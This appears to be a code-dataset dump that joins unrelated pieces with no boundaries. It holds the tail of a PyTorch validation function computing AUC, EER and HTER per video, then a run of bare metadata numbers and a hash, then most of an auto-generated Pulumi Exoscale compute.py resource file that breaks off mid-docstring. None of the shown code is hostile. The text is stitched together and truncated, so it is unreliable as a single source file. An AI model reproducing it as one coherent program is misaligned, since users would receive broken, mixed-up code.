dim=1).cpu().data.numpy()[:, 1] label = target.cpu().data.numpy() videoID = videoID.cpu().data.numpy() for i in range(len(prob)): if(videoID[i] in prob_dict.keys()): prob_dict[videoID[i]].append(prob[i]) label_dict[videoID[i]].append(label[i]) output_dict_tmp[videoID[i]].append(cls_out[i].view(1, 2)) target_dict_tmp[videoID[i]].append(target[i].view(1)) else: prob_dict[videoID[i]] = [] label_dict[videoID[i]] = [] prob_dict[videoID[i]].append(prob[i]) label_dict[videoID[i]].append(label[i]) output_dict_tmp[videoID[i]] = [] target_dict_tmp[videoID[i]] = [] output_dict_tmp[videoID[i]].append(cls_out[i].view(1, 2)) target_dict_tmp[videoID[i]].append(target[i].view(1)) prob_list = [] label_list = [] for key in prob_dict.keys(): avg_single_video_prob = sum(prob_dict[key]) / len(prob_dict[key]) avg_single_video_label = sum(label_dict[key]) / len(label_dict[key]) prob_list = np.append(prob_list, avg_single_video_prob) label_list = np.append(label_list, avg_single_video_label) # compute loss and acc for every video avg_single_video_output = sum(output_dict_tmp[key]) / len(output_dict_tmp[key]) avg_single_video_target = sum(target_dict_tmp[key]) / len(target_dict_tmp[key]) loss = criterion(avg_single_video_output, avg_single_video_target) acc_valid = accuracy(avg_single_video_output, avg_single_video_target, topk=(1,)) valid_losses.update(loss.item()) valid_top1.update(acc_valid[0]) auc_score = roc_auc_score(label_list, prob_list) cur_EER_valid, threshold, _, _ = get_EER_states(prob_list, label_list) ACC_threshold = calculate_threshold(prob_list, label_list, threshold) cur_HTER_valid = get_HTER_at_thr(prob_list, label_list, threshold) return [valid_losses.avg, valid_top1.avg, cur_EER_valid, cur_HTER_valid, auc_score, threshold, ACC_threshold*100]
54.147692
118
0.614104
2,300
17,598
4.356957
0.042174
0.062269
0.083824
0.053887
0.97146
0.97146
0.97146
0.97146
0.97146
0.97146
0
0.007797
0.263894
17,598
325
119
54.147692
0.765787
0.025628
0
0.935065
0
0
0
0
0
0
0
0
0
1
0.019481
false
0
0.025974
0
0.064935
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
0c716c3b20a63d503b4b0e29d5d36ac028887ee7
63,625
py
Python
sdk/python/pulumi_exoscale/compute.py
secustor/pulumi-exoscale
c805e4bbf896526e46ed168bc96c9c0a3f82adf8
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_exoscale/compute.py
secustor/pulumi-exoscale
c805e4bbf896526e46ed168bc96c9c0a3f82adf8
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_exoscale/compute.py
secustor/pulumi-exoscale
c805e4bbf896526e46ed168bc96c9c0a3f82adf8
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from . import _utilities __all__ = ['ComputeArgs', 'Compute'] @pulumi.input_type class ComputeArgs: def __init__(__self__, *, disk_size: pulumi.Input[int], zone: pulumi.Input[str], affinity_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, affinity_groups: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, display_name: Optional[pulumi.Input[str]] = None, hostname: Optional[pulumi.Input[str]] = None, ip4: Optional[pulumi.Input[bool]] = None, ip6: Optional[pulumi.Input[bool]] = None, key_pair: Optional[pulumi.Input[str]] = None, keyboard: Optional[pulumi.Input[str]] = None, reverse_dns: Optional[pulumi.Input[str]] = None, security_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, security_groups: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, size: Optional[pulumi.Input[str]] = None, state: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, template: Optional[pulumi.Input[str]] = None, template_id: Optional[pulumi.Input[str]] = None, user_data: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a Compute resource. :param pulumi.Input[int] disk_size: The Compute instance root disk size in GiB (at least `10`). :param pulumi.Input[str] zone: The name of the [zone][zone] to deploy the Compute instance into. :param pulumi.Input[Sequence[pulumi.Input[str]]] affinity_group_ids: A list of [Anti-Affinity Group][r-affinity] IDs (at creation time only; conflicts with `affinity_groups`). :param pulumi.Input[Sequence[pulumi.Input[str]]] affinity_groups: A list of [Anti-Affinity Group][r-affinity] names (at creation time only; conflicts with `affinity_group_ids`). :param pulumi.Input[str] display_name: The displayed name of the Compute instance. Note: if the `hostname` attribute is not set, this attribute is also used to set the OS' *hostname* during creation, so the value must contain only alphanumeric and hyphen ("-") characters; it can be changed to any character during a later update. If neither `display_name` or `hostname` attributes are set, a random value will be generated automatically server-side. :param pulumi.Input[str] hostname: The Compute instance hostname, must contain only alphanumeric and hyphen ("-") characters. If neither `display_name` or `hostname` attributes are set, a random value will be generated automatically server-side. Note: updating this attribute's value requires to reboot the instance. :param pulumi.Input[bool] ip4: Boolean controlling if IPv4 is enabled (only supported value is `true`). :param pulumi.Input[bool] ip6: Boolean controlling if IPv6 is enabled. :param pulumi.Input[str] key_pair: The name of the [SSH key pair][sshkeypair-doc] to be installed. :param pulumi.Input[str] keyboard: The keyboard layout configuration (at creation time only). Supported values are: `de`, `de-ch`, `es`, `fi`, `fr`, `fr-be`, `fr-ch`, `is`, `it`, `jp`, `nl-be`, `no`, `pt`, `uk`, `us`. :param pulumi.Input[str] reverse_dns: The reverse DNS record of the Compute instance (must end with a `.`, e.g: `my-server.example.net.`). :param pulumi.Input[Sequence[pulumi.Input[str]]] security_group_ids: A list of [Security Group][r-security_group] IDs (conflicts with `security_groups`). :param pulumi.Input[Sequence[pulumi.Input[str]]] security_groups: A list of [Security Group][r-security_group] names (conflicts with `security_group_ids`). :param pulumi.Input[str] size: The Compute instance [size][size], e.g. `Tiny`, `Small`, `Medium`, `Large` etc. :param pulumi.Input[str] state: The state of the Compute instance, e.g. `Running` or `Stopped` :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A dictionary of tags (key/value). To remove all tags, set `tags = {}`. :param pulumi.Input[str] template: The name of the Compute instance [template][template]. Only *featured* templates are available, if you want to reference *custom templates* use the `template_id` attribute instead. :param pulumi.Input[str] template_id: The ID of the Compute instance [template][template]. Usage of the [`compute_template`][d-compute_template] data source is recommended. :param pulumi.Input[str] user_data: A [cloud-init][cloudinit] configuration. Whenever possible don't base64-encode neither gzip it yourself, as this will be automatically taken care of on your behalf by the provider. """ pulumi.set(__self__, "disk_size", disk_size) pulumi.set(__self__, "zone", zone) if affinity_group_ids is not None: pulumi.set(__self__, "affinity_group_ids", affinity_group_ids) if affinity_groups is not None: pulumi.set(__self__, "affinity_groups", affinity_groups) if display_name is not None: pulumi.set(__self__, "display_name", display_name) if hostname is not None: pulumi.set(__self__, "hostname", hostname) if ip4 is not None: pulumi.set(__self__, "ip4", ip4) if ip6 is not None: pulumi.set(__self__, "ip6", ip6) if key_pair is not None: pulumi.set(__self__, "key_pair", key_pair) if keyboard is not None: pulumi.set(__self__, "keyboard", keyboard) if reverse_dns is not None: pulumi.set(__self__, "reverse_dns", reverse_dns) if security_group_ids is not None: pulumi.set(__self__, "security_group_ids", security_group_ids) if security_groups is not None: pulumi.set(__self__, "security_groups", security_groups) if size is not None: pulumi.set(__self__, "size", size) if state is not None: pulumi.set(__self__, "state", state) if tags is not None: pulumi.set(__self__, "tags", tags) if template is not None: pulumi.set(__self__, "template", template) if template_id is not None: pulumi.set(__self__, "template_id", template_id) if user_data is not None: pulumi.set(__self__, "user_data", user_data) @property @pulumi.getter(name="diskSize") def disk_size(self) -> pulumi.Input[int]: """ The Compute instance root disk size in GiB (at least `10`). """ return pulumi.get(self, "disk_size") @disk_size.setter def disk_size(self, value: pulumi.Input[int]): pulumi.set(self, "disk_size", value) @property @pulumi.getter def zone(self) -> pulumi.Input[str]: """ The name of the [zone][zone] to deploy the Compute instance into. """ return pulumi.get(self, "zone") @zone.setter def zone(self, value: pulumi.Input[str]): pulumi.set(self, "zone", value) @property @pulumi.getter(name="affinityGroupIds") def affinity_group_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ A list of [Anti-Affinity Group][r-affinity] IDs (at creation time only; conflicts with `affinity_groups`). """ return pulumi.get(self, "affinity_group_ids") @affinity_group_ids.setter def affinity_group_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "affinity_group_ids", value) @property @pulumi.getter(name="affinityGroups") def affinity_groups(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ A list of [Anti-Affinity Group][r-affinity] names (at creation time only; conflicts with `affinity_group_ids`). """ return pulumi.get(self, "affinity_groups") @affinity_groups.setter def affinity_groups(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "affinity_groups", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ The displayed name of the Compute instance. Note: if the `hostname` attribute is not set, this attribute is also used to set the OS' *hostname* during creation, so the value must contain only alphanumeric and hyphen ("-") characters; it can be changed to any character during a later update. If neither `display_name` or `hostname` attributes are set, a random value will be generated automatically server-side. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @property @pulumi.getter def hostname(self) -> Optional[pulumi.Input[str]]: """ The Compute instance hostname, must contain only alphanumeric and hyphen ("-") characters. If neither `display_name` or `hostname` attributes are set, a random value will be generated automatically server-side. Note: updating this attribute's value requires to reboot the instance. """ return pulumi.get(self, "hostname") @hostname.setter def hostname(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "hostname", value) @property @pulumi.getter def ip4(self) -> Optional[pulumi.Input[bool]]: """ Boolean controlling if IPv4 is enabled (only supported value is `true`). """ return pulumi.get(self, "ip4") @ip4.setter def ip4(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "ip4", value) @property @pulumi.getter def ip6(self) -> Optional[pulumi.Input[bool]]: """ Boolean controlling if IPv6 is enabled. """ return pulumi.get(self, "ip6") @ip6.setter def ip6(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "ip6", value) @property @pulumi.getter(name="keyPair") def key_pair(self) -> Optional[pulumi.Input[str]]: """ The name of the [SSH key pair][sshkeypair-doc] to be installed. """ return pulumi.get(self, "key_pair") @key_pair.setter def key_pair(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "key_pair", value) @property @pulumi.getter def keyboard(self) -> Optional[pulumi.Input[str]]: """ The keyboard layout configuration (at creation time only). Supported values are: `de`, `de-ch`, `es`, `fi`, `fr`, `fr-be`, `fr-ch`, `is`, `it`, `jp`, `nl-be`, `no`, `pt`, `uk`, `us`. """ return pulumi.get(self, "keyboard") @keyboard.setter def keyboard(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "keyboard", value) @property @pulumi.getter(name="reverseDns") def reverse_dns(self) -> Optional[pulumi.Input[str]]: """ The reverse DNS record of the Compute instance (must end with a `.`, e.g: `my-server.example.net.`). """ return pulumi.get(self, "reverse_dns") @reverse_dns.setter def reverse_dns(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "reverse_dns", value) @property @pulumi.getter(name="securityGroupIds") def security_group_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ A list of [Security Group][r-security_group] IDs (conflicts with `security_groups`). """ return pulumi.get(self, "security_group_ids") @security_group_ids.setter def security_group_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "security_group_ids", value) @property @pulumi.getter(name="securityGroups") def security_groups(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ A list of [Security Group][r-security_group] names (conflicts with `security_group_ids`). """ return pulumi.get(self, "security_groups") @security_groups.setter def security_groups(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "security_groups", value) @property @pulumi.getter def size(self) -> Optional[pulumi.Input[str]]: """ The Compute instance [size][size], e.g. `Tiny`, `Small`, `Medium`, `Large` etc. """ return pulumi.get(self, "size") @size.setter def size(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "size", value) @property @pulumi.getter def state(self) -> Optional[pulumi.Input[str]]: """ The state of the Compute instance, e.g. `Running` or `Stopped` """ return pulumi.get(self, "state") @state.setter def state(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "state", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A dictionary of tags (key/value). To remove all tags, set `tags = {}`. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags", value) @property @pulumi.getter def template(self) -> Optional[pulumi.Input[str]]: """ The name of the Compute instance [template][template]. Only *featured* templates are available, if you want to reference *custom templates* use the `template_id` attribute instead. """ return pulumi.get(self, "template") @template.setter def template(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "template", value) @property @pulumi.getter(name="templateId") def template_id(self) -> Optional[pulumi.Input[str]]: """ The ID of the Compute instance [template][template]. Usage of the [`compute_template`][d-compute_template] data source is recommended. """ return pulumi.get(self, "template_id") @template_id.setter def template_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "template_id", value) @property @pulumi.getter(name="userData") def user_data(self) -> Optional[pulumi.Input[str]]: """ A [cloud-init][cloudinit] configuration. Whenever possible don't base64-encode neither gzip it yourself, as this will be automatically taken care of on your behalf by the provider. """ return pulumi.get(self, "user_data") @user_data.setter def user_data(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "user_data", value) @pulumi.input_type class _ComputeState: def __init__(__self__, *, affinity_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, affinity_groups: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, disk_size: Optional[pulumi.Input[int]] = None, display_name: Optional[pulumi.Input[str]] = None, gateway: Optional[pulumi.Input[str]] = None, hostname: Optional[pulumi.Input[str]] = None, ip4: Optional[pulumi.Input[bool]] = None, ip6: Optional[pulumi.Input[bool]] = None, ip6_address: Optional[pulumi.Input[str]] = None, ip6_cidr: Optional[pulumi.Input[str]] = None, ip_address: Optional[pulumi.Input[str]] = None, key_pair: Optional[pulumi.Input[str]] = None, keyboard: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, password: Optional[pulumi.Input[str]] = None, reverse_dns: Optional[pulumi.Input[str]] = None, security_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, security_groups: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, size: Optional[pulumi.Input[str]] = None, state: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, template: Optional[pulumi.Input[str]] = None, template_id: Optional[pulumi.Input[str]] = None, user_data: Optional[pulumi.Input[str]] = None, user_data_base64: Optional[pulumi.Input[bool]] = None, username: Optional[pulumi.Input[str]] = None, zone: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering Compute resources. :param pulumi.Input[Sequence[pulumi.Input[str]]] affinity_group_ids: A list of [Anti-Affinity Group][r-affinity] IDs (at creation time only; conflicts with `affinity_groups`). :param pulumi.Input[Sequence[pulumi.Input[str]]] affinity_groups: A list of [Anti-Affinity Group][r-affinity] names (at creation time only; conflicts with `affinity_group_ids`). :param pulumi.Input[int] disk_size: The Compute instance root disk size in GiB (at least `10`). :param pulumi.Input[str] display_name: The displayed name of the Compute instance. Note: if the `hostname` attribute is not set, this attribute is also used to set the OS' *hostname* during creation, so the value must contain only alphanumeric and hyphen ("-") characters; it can be changed to any character during a later update. If neither `display_name` or `hostname` attributes are set, a random value will be generated automatically server-side. :param pulumi.Input[str] hostname: The Compute instance hostname, must contain only alphanumeric and hyphen ("-") characters. If neither `display_name` or `hostname` attributes are set, a random value will be generated automatically server-side. Note: updating this attribute's value requires to reboot the instance. :param pulumi.Input[bool] ip4: Boolean controlling if IPv4 is enabled (only supported value is `true`). :param pulumi.Input[bool] ip6: Boolean controlling if IPv6 is enabled. :param pulumi.Input[str] ip6_address: The IPv6 address of the Compute instance main network interface. :param pulumi.Input[str] ip_address: The IP address of the Compute instance main network interface. :param pulumi.Input[str] key_pair: The name of the [SSH key pair][sshkeypair-doc] to be installed. :param pulumi.Input[str] keyboard: The keyboard layout configuration (at creation time only). Supported values are: `de`, `de-ch`, `es`, `fi`, `fr`, `fr-be`, `fr-ch`, `is`, `it`, `jp`, `nl-be`, `no`, `pt`, `uk`, `us`. :param pulumi.Input[str] name: **Deprecated** The Compute instance *hostname*. Use the `hostname` attribute instead. :param pulumi.Input[str] password: The initial Compute instance password and/or encrypted password. :param pulumi.Input[str] reverse_dns: The reverse DNS record of the Compute instance (must end with a `.`, e.g: `my-server.example.net.`). :param pulumi.Input[Sequence[pulumi.Input[str]]] security_group_ids: A list of [Security Group][r-security_group] IDs (conflicts with `security_groups`). :param pulumi.Input[Sequence[pulumi.Input[str]]] security_groups: A list of [Security Group][r-security_group] names (conflicts with `security_group_ids`). :param pulumi.Input[str] size: The Compute instance [size][size], e.g. `Tiny`, `Small`, `Medium`, `Large` etc. :param pulumi.Input[str] state: The state of the Compute instance, e.g. `Running` or `Stopped` :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A dictionary of tags (key/value). To remove all tags, set `tags = {}`. :param pulumi.Input[str] template: The name of the Compute instance [template][template]. Only *featured* templates are available, if you want to reference *custom templates* use the `template_id` attribute instead. :param pulumi.Input[str] template_id: The ID of the Compute instance [template][template]. Usage of the [`compute_template`][d-compute_template] data source is recommended. :param pulumi.Input[str] user_data: A [cloud-init][cloudinit] configuration. Whenever possible don't base64-encode neither gzip it yourself, as this will be automatically taken care of on your behalf by the provider. :param pulumi.Input[bool] user_data_base64: was the cloud-init configuration base64 encoded :param pulumi.Input[str] username: The user to use to connect to the Compute instance with SSH. If you've referenced a *custom template* in the resource, use the [`compute_template`][d-compute_template] data source `username` attribute instead. :param pulumi.Input[str] zone: The name of the [zone][zone] to deploy the Compute instance into. """ if affinity_group_ids is not None: pulumi.set(__self__, "affinity_group_ids", affinity_group_ids) if affinity_groups is not None: pulumi.set(__self__, "affinity_groups", affinity_groups) if disk_size is not None: pulumi.set(__self__, "disk_size", disk_size) if display_name is not None: pulumi.set(__self__, "display_name", display_name) if gateway is not None: pulumi.set(__self__, "gateway", gateway) if hostname is not None: pulumi.set(__self__, "hostname", hostname) if ip4 is not None: pulumi.set(__self__, "ip4", ip4) if ip6 is not None: pulumi.set(__self__, "ip6", ip6) if ip6_address is not None: pulumi.set(__self__, "ip6_address", ip6_address) if ip6_cidr is not None: pulumi.set(__self__, "ip6_cidr", ip6_cidr) if ip_address is not None: pulumi.set(__self__, "ip_address", ip_address) if key_pair is not None: pulumi.set(__self__, "key_pair", key_pair) if keyboard is not None: pulumi.set(__self__, "keyboard", keyboard) if name is not None: warnings.warn("""use `hostname` attribute instead""", DeprecationWarning) pulumi.log.warn("""name is deprecated: use `hostname` attribute instead""") if name is not None: pulumi.set(__self__, "name", name) if password is not None: pulumi.set(__self__, "password", password) if reverse_dns is not None: pulumi.set(__self__, "reverse_dns", reverse_dns) if security_group_ids is not None: pulumi.set(__self__, "security_group_ids", security_group_ids) if security_groups is not None: pulumi.set(__self__, "security_groups", security_groups) if size is not None: pulumi.set(__self__, "size", size) if state is not None: pulumi.set(__self__, "state", state) if tags is not None: pulumi.set(__self__, "tags", tags) if template is not None: pulumi.set(__self__, "template", template) if template_id is not None: pulumi.set(__self__, "template_id", template_id) if user_data is not None: pulumi.set(__self__, "user_data", user_data) if user_data_base64 is not None: pulumi.set(__self__, "user_data_base64", user_data_base64) if username is not None: warnings.warn("""broken, use `compute_template` data source `username` attribute""", DeprecationWarning) pulumi.log.warn("""username is deprecated: broken, use `compute_template` data source `username` attribute""") if username is not None: pulumi.set(__self__, "username", username) if zone is not None: pulumi.set(__self__, "zone", zone) @property @pulumi.getter(name="affinityGroupIds") def affinity_group_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ A list of [Anti-Affinity Group][r-affinity] IDs (at creation time only; conflicts with `affinity_groups`). """ return pulumi.get(self, "affinity_group_ids") @affinity_group_ids.setter def affinity_group_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "affinity_group_ids", value) @property @pulumi.getter(name="affinityGroups") def affinity_groups(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ A list of [Anti-Affinity Group][r-affinity] names (at creation time only; conflicts with `affinity_group_ids`). """ return pulumi.get(self, "affinity_groups") @affinity_groups.setter def affinity_groups(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "affinity_groups", value) @property @pulumi.getter(name="diskSize") def disk_size(self) -> Optional[pulumi.Input[int]]: """ The Compute instance root disk size in GiB (at least `10`). """ return pulumi.get(self, "disk_size") @disk_size.setter def disk_size(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "disk_size", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ The displayed name of the Compute instance. Note: if the `hostname` attribute is not set, this attribute is also used to set the OS' *hostname* during creation, so the value must contain only alphanumeric and hyphen ("-") characters; it can be changed to any character during a later update. If neither `display_name` or `hostname` attributes are set, a random value will be generated automatically server-side. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @property @pulumi.getter def gateway(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "gateway") @gateway.setter def gateway(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "gateway", value) @property @pulumi.getter def hostname(self) -> Optional[pulumi.Input[str]]: """ The Compute instance hostname, must contain only alphanumeric and hyphen ("-") characters. If neither `display_name` or `hostname` attributes are set, a random value will be generated automatically server-side. Note: updating this attribute's value requires to reboot the instance. """ return pulumi.get(self, "hostname") @hostname.setter def hostname(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "hostname", value) @property @pulumi.getter def ip4(self) -> Optional[pulumi.Input[bool]]: """ Boolean controlling if IPv4 is enabled (only supported value is `true`). """ return pulumi.get(self, "ip4") @ip4.setter def ip4(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "ip4", value) @property @pulumi.getter def ip6(self) -> Optional[pulumi.Input[bool]]: """ Boolean controlling if IPv6 is enabled. """ return pulumi.get(self, "ip6") @ip6.setter def ip6(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "ip6", value) @property @pulumi.getter(name="ip6Address") def ip6_address(self) -> Optional[pulumi.Input[str]]: """ The IPv6 address of the Compute instance main network interface. """ return pulumi.get(self, "ip6_address") @ip6_address.setter def ip6_address(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ip6_address", value) @property @pulumi.getter(name="ip6Cidr") def ip6_cidr(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "ip6_cidr") @ip6_cidr.setter def ip6_cidr(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ip6_cidr", value) @property @pulumi.getter(name="ipAddress") def ip_address(self) -> Optional[pulumi.Input[str]]: """ The IP address of the Compute instance main network interface. """ return pulumi.get(self, "ip_address") @ip_address.setter def ip_address(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ip_address", value) @property @pulumi.getter(name="keyPair") def key_pair(self) -> Optional[pulumi.Input[str]]: """ The name of the [SSH key pair][sshkeypair-doc] to be installed. """ return pulumi.get(self, "key_pair") @key_pair.setter def key_pair(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "key_pair", value) @property @pulumi.getter def keyboard(self) -> Optional[pulumi.Input[str]]: """ The keyboard layout configuration (at creation time only). Supported values are: `de`, `de-ch`, `es`, `fi`, `fr`, `fr-be`, `fr-ch`, `is`, `it`, `jp`, `nl-be`, `no`, `pt`, `uk`, `us`. """ return pulumi.get(self, "keyboard") @keyboard.setter def keyboard(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "keyboard", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ **Deprecated** The Compute instance *hostname*. Use the `hostname` attribute instead. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def password(self) -> Optional[pulumi.Input[str]]: """ The initial Compute instance password and/or encrypted password. """ return pulumi.get(self, "password") @password.setter def password(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "password", value) @property @pulumi.getter(name="reverseDns") def reverse_dns(self) -> Optional[pulumi.Input[str]]: """ The reverse DNS record of the Compute instance (must end with a `.`, e.g: `my-server.example.net.`). """ return pulumi.get(self, "reverse_dns") @reverse_dns.setter def reverse_dns(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "reverse_dns", value) @property @pulumi.getter(name="securityGroupIds") def security_group_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ A list of [Security Group][r-security_group] IDs (conflicts with `security_groups`). """ return pulumi.get(self, "security_group_ids") @security_group_ids.setter def security_group_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "security_group_ids", value) @property @pulumi.getter(name="securityGroups") def security_groups(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ A list of [Security Group][r-security_group] names (conflicts with `security_group_ids`). """ return pulumi.get(self, "security_groups") @security_groups.setter def security_groups(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "security_groups", value) @property @pulumi.getter def size(self) -> Optional[pulumi.Input[str]]: """ The Compute instance [size][size], e.g. `Tiny`, `Small`, `Medium`, `Large` etc. """ return pulumi.get(self, "size") @size.setter def size(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "size", value) @property @pulumi.getter def state(self) -> Optional[pulumi.Input[str]]: """ The state of the Compute instance, e.g. `Running` or `Stopped` """ return pulumi.get(self, "state") @state.setter def state(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "state", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A dictionary of tags (key/value). To remove all tags, set `tags = {}`. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags", value) @property @pulumi.getter def template(self) -> Optional[pulumi.Input[str]]: """ The name of the Compute instance [template][template]. Only *featured* templates are available, if you want to reference *custom templates* use the `template_id` attribute instead. """ return pulumi.get(self, "template") @template.setter def template(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "template", value) @property @pulumi.getter(name="templateId") def template_id(self) -> Optional[pulumi.Input[str]]: """ The ID of the Compute instance [template][template]. Usage of the [`compute_template`][d-compute_template] data source is recommended. """ return pulumi.get(self, "template_id") @template_id.setter def template_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "template_id", value) @property @pulumi.getter(name="userData") def user_data(self) -> Optional[pulumi.Input[str]]: """ A [cloud-init][cloudinit] configuration. Whenever possible don't base64-encode neither gzip it yourself, as this will be automatically taken care of on your behalf by the provider. """ return pulumi.get(self, "user_data") @user_data.setter def user_data(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "user_data", value) @property @pulumi.getter(name="userDataBase64") def user_data_base64(self) -> Optional[pulumi.Input[bool]]: """ was the cloud-init configuration base64 encoded """ return pulumi.get(self, "user_data_base64") @user_data_base64.setter def user_data_base64(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "user_data_base64", value) @property @pulumi.getter def username(self) -> Optional[pulumi.Input[str]]: """ The user to use to connect to the Compute instance with SSH. If you've referenced a *custom template* in the resource, use the [`compute_template`][d-compute_template] data source `username` attribute instead. """ return pulumi.get(self, "username") @username.setter def username(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "username", value) @property @pulumi.getter def zone(self) -> Optional[pulumi.Input[str]]: """ The name of the [zone][zone] to deploy the Compute instance into. """ return pulumi.get(self, "zone") @zone.setter def zone(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "zone", value) class Compute(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, affinity_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, affinity_groups: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, disk_size: Optional[pulumi.Input[int]] = None, display_name: Optional[pulumi.Input[str]] = None, hostname: Optional[pulumi.Input[str]] = None, ip4: Optional[pulumi.Input[bool]] = None, ip6: Optional[pulumi.Input[bool]] = None, key_pair: Optional[pulumi.Input[str]] = None, keyboard: Optional[pulumi.Input[str]] = None, reverse_dns: Optional[pulumi.Input[str]] = None, security_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, security_groups: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, size: Optional[pulumi.Input[str]] = None, state: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, template: Optional[pulumi.Input[str]] = None, template_id: Optional[pulumi.Input[str]] = None, user_data: Optional[pulumi.Input[str]] = None, zone: Optional[pulumi.Input[str]] = None, __props__=None): """ Provides an Exoscale [Compute instance][compute-doc] resource. This can be used to create, modify, and delete Compute instances. !> **WARNING:** This resource is deprecated and will be removed in the next major version. ## Import An existing 